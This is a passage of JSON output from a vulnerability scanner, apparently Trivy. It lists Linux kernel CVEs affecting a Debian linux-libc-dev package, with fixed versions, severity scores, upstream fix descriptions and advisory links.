"https://ubuntu.com/security/notices/USN-8661-1", "https://ubuntu.com/security/notices/USN-8661-2", "https://ubuntu.com/security/notices/USN-8661-3", "https://ubuntu.com/security/notices/USN-8661-4", "https://ubuntu.com/security/notices/USN-8661-5", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8666-1", "https://ubuntu.com/security/notices/USN-8666-2", "https://ubuntu.com/security/notices/USN-8666-3", "https://ubuntu.com/security/notices/USN-8667-1", "https://ubuntu.com/security/notices/USN-8669-1", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-52924" ], "PublishedDate": "2026-06-24T08:16:22.43Z", "LastModifiedDate": "2026-10-19T20:18:47.257Z" }, { "VulnerabilityID": "CVE-2026-52929", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52929", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7b7dbdf3942783fe4c0eb8ab58d3bf547d5b8b7e94294f039b30a63fe9934176", "Title": "kernel: sctp: stream: fully roll back denied add-stream state", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: stream: fully roll back denied add-stream state\n\nWhen ADD_OUT_STREAMS is denied, SCTP only shrinks the queued chunks and\nthen lowers outcnt. That leaves removed stream metadata behind, so a\nlater re-add can reuse a stale ext and hit a null-pointer dereference in\nthe scheduler get path.\n\nFix the rollback by tearing down the removed stream state the same way\nother stream resizes do. Unschedule the current scheduler state, drop\nthe removed stream ext state with sctp_stream_outq_migrate(), and then\nreschedule the remaining streams.\n\nThis keeps scheduler-private RR/FC/PRIO lists consistent while fully\nrolling back denied outgoing stream additions.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/errata/RHSA-2026:95212", "https://access.redhat.com/security/cve/CVE-2026-52929", "https://bugzilla.redhat.com/2492108", "https://bugzilla.redhat.com/2507721", "https://bugzilla.redhat.com/2521419", "https://bugzilla.redhat.com/2528646", "https://bugzilla.redhat.com/2528665", "https://bugzilla.redhat.com/2532407", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.almalinux.org/8/ALSA-2026-95212.html", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/linus/a5f8a90ac9f77c678a9781c0a464b635e0d63e49%20%287.1%29", "https://git.kernel.org/stable/c/0cd2dc6dce8ca47212cd306ccd52eb315ef3cf85", "https://git.kernel.org/stable/c/1c6773b8c081509dcd5cd2954f2b02c50c00f151", "https://git.kernel.org/stable/c/39dc2b0eb5371a669ebc9ec6072b9184eac95418", "https://git.kernel.org/stable/c/7dd9a42b044aad2dbe037db1c1e2943582485b44", "https://git.kernel.org/stable/c/9662eb0401518f0b4681f10e7fbf688f504f24cf", "https://git.kernel.org/stable/c/a5f8a90ac9f77c678a9781c0a464b635e0d63e49", "https://git.kernel.org/stable/c/a6724b7b812ac8793514a1d5938db5d9d29ae725", "https://git.kernel.org/stable/c/d5ea0b3e261fcb2cfff142675516165244cab1da", "https://linux.oracle.com/cve/CVE-2026-52929.html", "https://linux.oracle.com/errata/ELSA-2026-95212.html", "https://lore.kernel.org/linux-cve-announce/2026062432-CVE-2026-52929-63ee@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52929", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-52929" ], "PublishedDate": "2026-06-24T08:16:23.04Z", "LastModifiedDate": "2026-10-19T20:18:47.727Z" }, { "VulnerabilityID": "CVE-2026-52933", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.86-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52933", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c4d6b4ff720e0b58f3304cc2203df2c037cc85ab88c77400cf5a481a913af305", "Title": "kernel: io_uring/poll: fix signed comparison in io_poll_get_ownership()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nio_uring/poll: fix signed comparison in io_poll_get_ownership()\n\nio_poll_get_ownership() uses a signed comparison to check whether\npoll_refs has reached the threshold for the slowpath:\n\n if (unlikely(atomic_read(\u0026req-\u003epoll_refs) \u003e= IO_POLL_REF_BIAS))\n\natomic_read() returns int (signed). When IO_POLL_CANCEL_FLAG\n(BIT(31)) is set in poll_refs, the value becomes negative in\nsigned arithmetic, so the \u003e= 128 comparison always evaluates to\nfalse and the slowpath is never taken.\n\nFix this by casting the atomic_read() result to unsigned int\nbefore the comparison, so that the cancel flag is treated as a\nlarge positive value and correctly triggers the slowpath.", "Severity": "HIGH", "CweIDs": [ "CWE-835", "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:64808", "https://access.redhat.com/security/cve/CVE-2026-52933", "https://bugzilla.redhat.com/2370992", "https://bugzilla.redhat.com/2492097", "https://bugzilla.redhat.com/2492273", "https://bugzilla.redhat.com/2502527", "https://bugzilla.redhat.com/2507061", "https://bugzilla.redhat.com/2507096", "https://bugzilla.redhat.com/2507129", "https://bugzilla.redhat.com/2507287", "https://bugzilla.redhat.com/show_bug.cgi?id=2370992", "https://bugzilla.redhat.com/show_bug.cgi?id=2492097", "https://bugzilla.redhat.com/show_bug.cgi?id=2492273", "https://bugzilla.redhat.com/show_bug.cgi?id=2502527", "https://bugzilla.redhat.com/show_bug.cgi?id=2507061", "https://bugzilla.redhat.com/show_bug.cgi?id=2507096", "https://bugzilla.redhat.com/show_bug.cgi?id=2507129", "https://bugzilla.redhat.com/show_bug.cgi?id=2507287", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52933", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64287", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64319", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64320", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64384", "https://errata.almalinux.org/9/ALSA-2026-64808.html", "https://errata.rockylinux.org/RLSA-2026:64808", "https://git.kernel.org/linus/326941b22806cbf2df1fbfe902b7908b368cce42%20%287.1-rc1%29", "https://git.kernel.org/stable/c/326941b22806cbf2df1fbfe902b7908b368cce42", "https://git.kernel.org/stable/c/81bf96b0abbfa4cd47ea32e12596aed3855fb2f3", "https://git.kernel.org/stable/c/c6d191164dc81838d8dbf452a6000f68c558d1ae", "https://git.kernel.org/stable/c/cf522703d4f194991615763697ae25a3f9539763", "https://git.kernel.org/stable/c/ea0697129807d718037f618221037aa0660ee3c5", "https://git.kernel.org/stable/c/fc47043f3d9af3efa407665b47f8378ec691ba18", "https://linux.oracle.com/cve/CVE-2026-52933.html", "https://linux.oracle.com/errata/ELSA-2026-64808-0.html", "https://lore.kernel.org/linux-cve-announce/2026062433-CVE-2026-52933-815c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52933", "https://ubuntu.com/security/notices/USN-8488-1", "https://ubuntu.com/security/notices/USN-8488-2", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8507-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-52933" ], "PublishedDate": "2026-06-24T08:16:23.48Z", "LastModifiedDate": "2026-10-19T20:18:48.103Z" }, { "VulnerabilityID": "CVE-2026-52943", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52943", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ebae5c049729791cedd8b4f443638cb8eda80f32d88d63e1eeb52f31f8a85999", "Title": "kernel: net: skbuff: fix missing zerocopy reference in pskb_carve helpers", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: fix missing zerocopy reference in pskb_carve helpers\n\npskb_carve_inside_header() and pskb_carve_inside_nonlinear() both copy\nthe old skb_shared_info header into a new buffer via memcpy(), which\nincludes the destructor_arg pointer (uarg) for MSG_ZEROCOPY skbs.\nNeither function calls net_zcopy_get() for the new shinfo, creating an\nunaccounted holder: every skb_shared_info with destructor_arg set will\ncall skb_zcopy_clear() once when freed, but the corresponding\nnet_zcopy_get() was never called for the new copy. Repeated calls\ndrive uarg-\u003erefcnt to zero prematurely, freeing ubuf_info_msgzc while\nTX skbs still hold live destructor_arg pointers.\n\nKASAN reports use-after-free on a freed ubuf_info_msgzc:\n\n BUG: KASAN: slab-use-after-free in skb_release_data+0x77b/0x810\n Read of size 8 at addr ffff88801574d3e8 by task poc/220\n\n Call Trace:\n skb_release_data+0x77b/0x810\n kfree_skb_list_reason+0x13e/0x610\n skb_release_data+0x4cd/0x810\n sk_skb_reason_drop+0xf3/0x340\n skb_queue_purge_reason+0x282/0x440\n rds_tcp_inc_free+0x1e/0x30\n rds_recvmsg+0x354/0x1780\n __sys_recvmsg+0xdf/0x180\n\n Allocated by task 219:\n msg_zerocopy_realloc+0x157/0x7b0\n tcp_sendmsg_locked+0x2892/0x3ba0\n\n Freed by task 219:\n ip_recv_error+0x74a/0xb10\n tcp_recvmsg+0x475/0x530\n\nThe skb consuming the late access still referenced the same uarg via\nshinfo-\u003edestructor_arg copied by pskb_carve_inside_nonlinear() without\na refcount bump. This has been verified to be reliably exploitable: a\nworking proof-of-concept achieves full root privilege escalation from\nan unprivileged local user on a default kernel configuration.\n\nThe fix follows the pattern of pskb_expand_head() which has the same\nmemcpy/cloned structure. For pskb_carve_inside_header(), net_zcopy_get()\nis placed after skb_orphan_frags() succeeds, so the orphan error path\nneeds no cleanup. For pskb_carve_inside_nonlinear(), net_zcopy_get() is\nplaced after all failure points and just before skb_release_data(), so\nno error path needs cleanup at all -- matching pskb_expand_head() more\nclosely and avoiding the need for a balancing net_zcopy_put().", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-911" ], "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-52943", "https://bugzilla.redhat.com/show_bug.cgi?id=2492137", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://git.kernel.org/linus/98d0912e9f841e5529a5b89a972805f34cb1c69d%20%287.1-rc6%29", "https://git.kernel.org/stable/c/2e0e74c59b2761a414d9f48d7bee1e45220b2427", "https://git.kernel.org/stable/c/474d6c771d798bca84f0a140b611e36743511e18", "https://git.kernel.org/stable/c/8dbed691e43a50903658130bde0fcb5abc425b37", "https://git.kernel.org/stable/c/96a4713ae041cc85e712bac682cd2e644004d6c6", "https://git.kernel.org/stable/c/98d0912e9f841e5529a5b89a972805f34cb1c69d", "https://git.kernel.org/stable/c/9b40bdc2a3298225dffab8158208a0d8c6300578", "https://git.kernel.org/stable/c/ceafb893b12f23331dcc5ff9587e643c3a40ee9f", "https://git.kernel.org/stable/c/fd470f0a97b8e9a125f520265d2f3b088ffb5b8a", "https://linux.oracle.com/cve/CVE-2026-52943.html", "https://linux.oracle.com/errata/ELSA-2026-50374.html", "https://lore.kernel.org/linux-cve-announce/2026062406-CVE-2026-52943-88f7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52943", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52943.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-52943" ], "PublishedDate": "2026-06-24T10:17:19.293Z", "LastModifiedDate": "2026-10-19T20:18:48.707Z" }, { "VulnerabilityID": "CVE-2026-52951", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52951", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:84e5d4a31dfcb33bf1f7dd52799f40df814845d581756590a95b18ec308b69c0", "Title": "kernel: drm/xe/dma-buf: handle empty bo and UAF races", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe/dma-buf: handle empty bo and UAF races\n\nThere look to be some nasty races here when triggering the\ninvalidate_mappings hook:\n\n1) We do xe_bo_alloc() followed by the attach, before the actual full bo\n init step in xe_dma_buf_init_obj(). However the bo is visible on the\n attachments list after the attach. This is bad since exporter driver,\n say amdgpu, can at any time call back into our invalidate_mappings hook,\n with an empty/bogus bo, leading to potential bugs/crashes.\n\n2) Similar to 1) but here we get a UAF, when the invalidate_mappings\n hook is triggered. For example, we get as far as xe_bo_init_locked()\n but this fails in some way. But here the bo will be freed on error, but\n we still have it attached from dma-buf pov, so if the\n invalidate_mappings is now triggered then the bo we access is gone and\n we trigger UAF and more bugs/crashes.\n\nTo fix this, move the attach step until after we actually have a fully\nset up buffer object. Note that the bo is not published to userspace\nuntil later, so not sure what the comment \"Don't publish the bo\nuntil we have a valid attachment\", is referring to.\n\nWe have at least two different customers reporting hitting a NULL ptr\nderef in evict_flags when importing something from amdgpu, followed by\ntriggering the evict flow. Hit rate is also pretty low, which would\nhint at some kind of race, so something like 1) or 2) might explain\nthis.\n\nv2:\n - Shuffle the order of the ops slightly (no functional change)\n - Improve the comment to better explain the ordering (Matt B)\n\n(cherry picked from commit af1f2ad0c59fe4e2f924c526f66e968289d77971)", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-476" ], "VendorSeverity": { "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-52951", "https://bugzilla.redhat.com/show_bug.cgi?id=2492353", "https://git.kernel.org/linus/981bedbbe61364fcc3a3b87ebaf648a66cd07108%20%287.1-rc4%29", "https://git.kernel.org/stable/c/20a99ea1e2fd720856d6ba497ff26b82c604751f", "https://git.kernel.org/stable/c/981bedbbe61364fcc3a3b87ebaf648a66cd07108", "https://git.kernel.org/stable/c/9894731e513019df22a29e5c52f1c98890355ff1", "https://git.kernel.org/stable/c/c473ae25421fddc3dde247ba7b85225b10641d09", "https://lore.kernel.org/linux-cve-announce/2026062434-CVE-2026-52951-3211@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52951", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52951.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-52951" ], "PublishedDate": "2026-06-24T17:17:05.23Z", "LastModifiedDate": "2026-10-19T20:18:49.95Z" }, { "VulnerabilityID": "CVE-2026-52962", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52962", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0cf6b484f6abd60519fab9c837bb1b6d03a0fed582c2e1450ae90cb6c53da62f", "Title": "kernel: ceph: fix a buffer leak in __ceph_setxattr()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nceph: fix a buffer leak in __ceph_setxattr()\n\nThe old_blob in __ceph_setxattr() can store\nci-\u003ei_xattrs.prealloc_blob value during the retry.\nHowever, it is never called the ceph_buffer_put()\nfor the old_blob object. This patch fixes the issue of\nthe buffer leak.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-52962", "https://git.kernel.org/linus/5d3cc36b4e77a27ce7b686b7c59c7072bcb3fa8e%20%287.1-rc4%29", "https://git.kernel.org/stable/c/3fa13ceefbc5f36131110342743994cb3de80637", "https://git.kernel.org/stable/c/4bfdcefdaa6092a06cacd59389c7756b36e6de8c", "https://git.kernel.org/stable/c/521e5aba857fd267624892c8dd6295f22ce0267e", "https://git.kernel.org/stable/c/5d3cc36b4e77a27ce7b686b7c59c7072bcb3fa8e", "https://git.kernel.org/stable/c/7d3e8d2d648d5f0df29b4710246680f47695fe94", "https://git.kernel.org/stable/c/bc7abce4460e490dcb579eec770f175b150b685f", "https://git.kernel.org/stable/c/d0cb994605c84a159c1d00d72cdc8583c321ef95", "https://git.kernel.org/stable/c/ecf94823c5c6a20790bb76ed2816822b0beb0c22", "https://linux.oracle.com/cve/CVE-2026-52962.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026062437-CVE-2026-52962-69b4@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52962", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-52962" ], "PublishedDate": "2026-06-24T17:17:06.52Z", "LastModifiedDate": "2026-11-06T17:17:57.973Z" }, { "VulnerabilityID": "CVE-2026-52968", "PkgID": "linux-libc-dev@6.12.74-2", 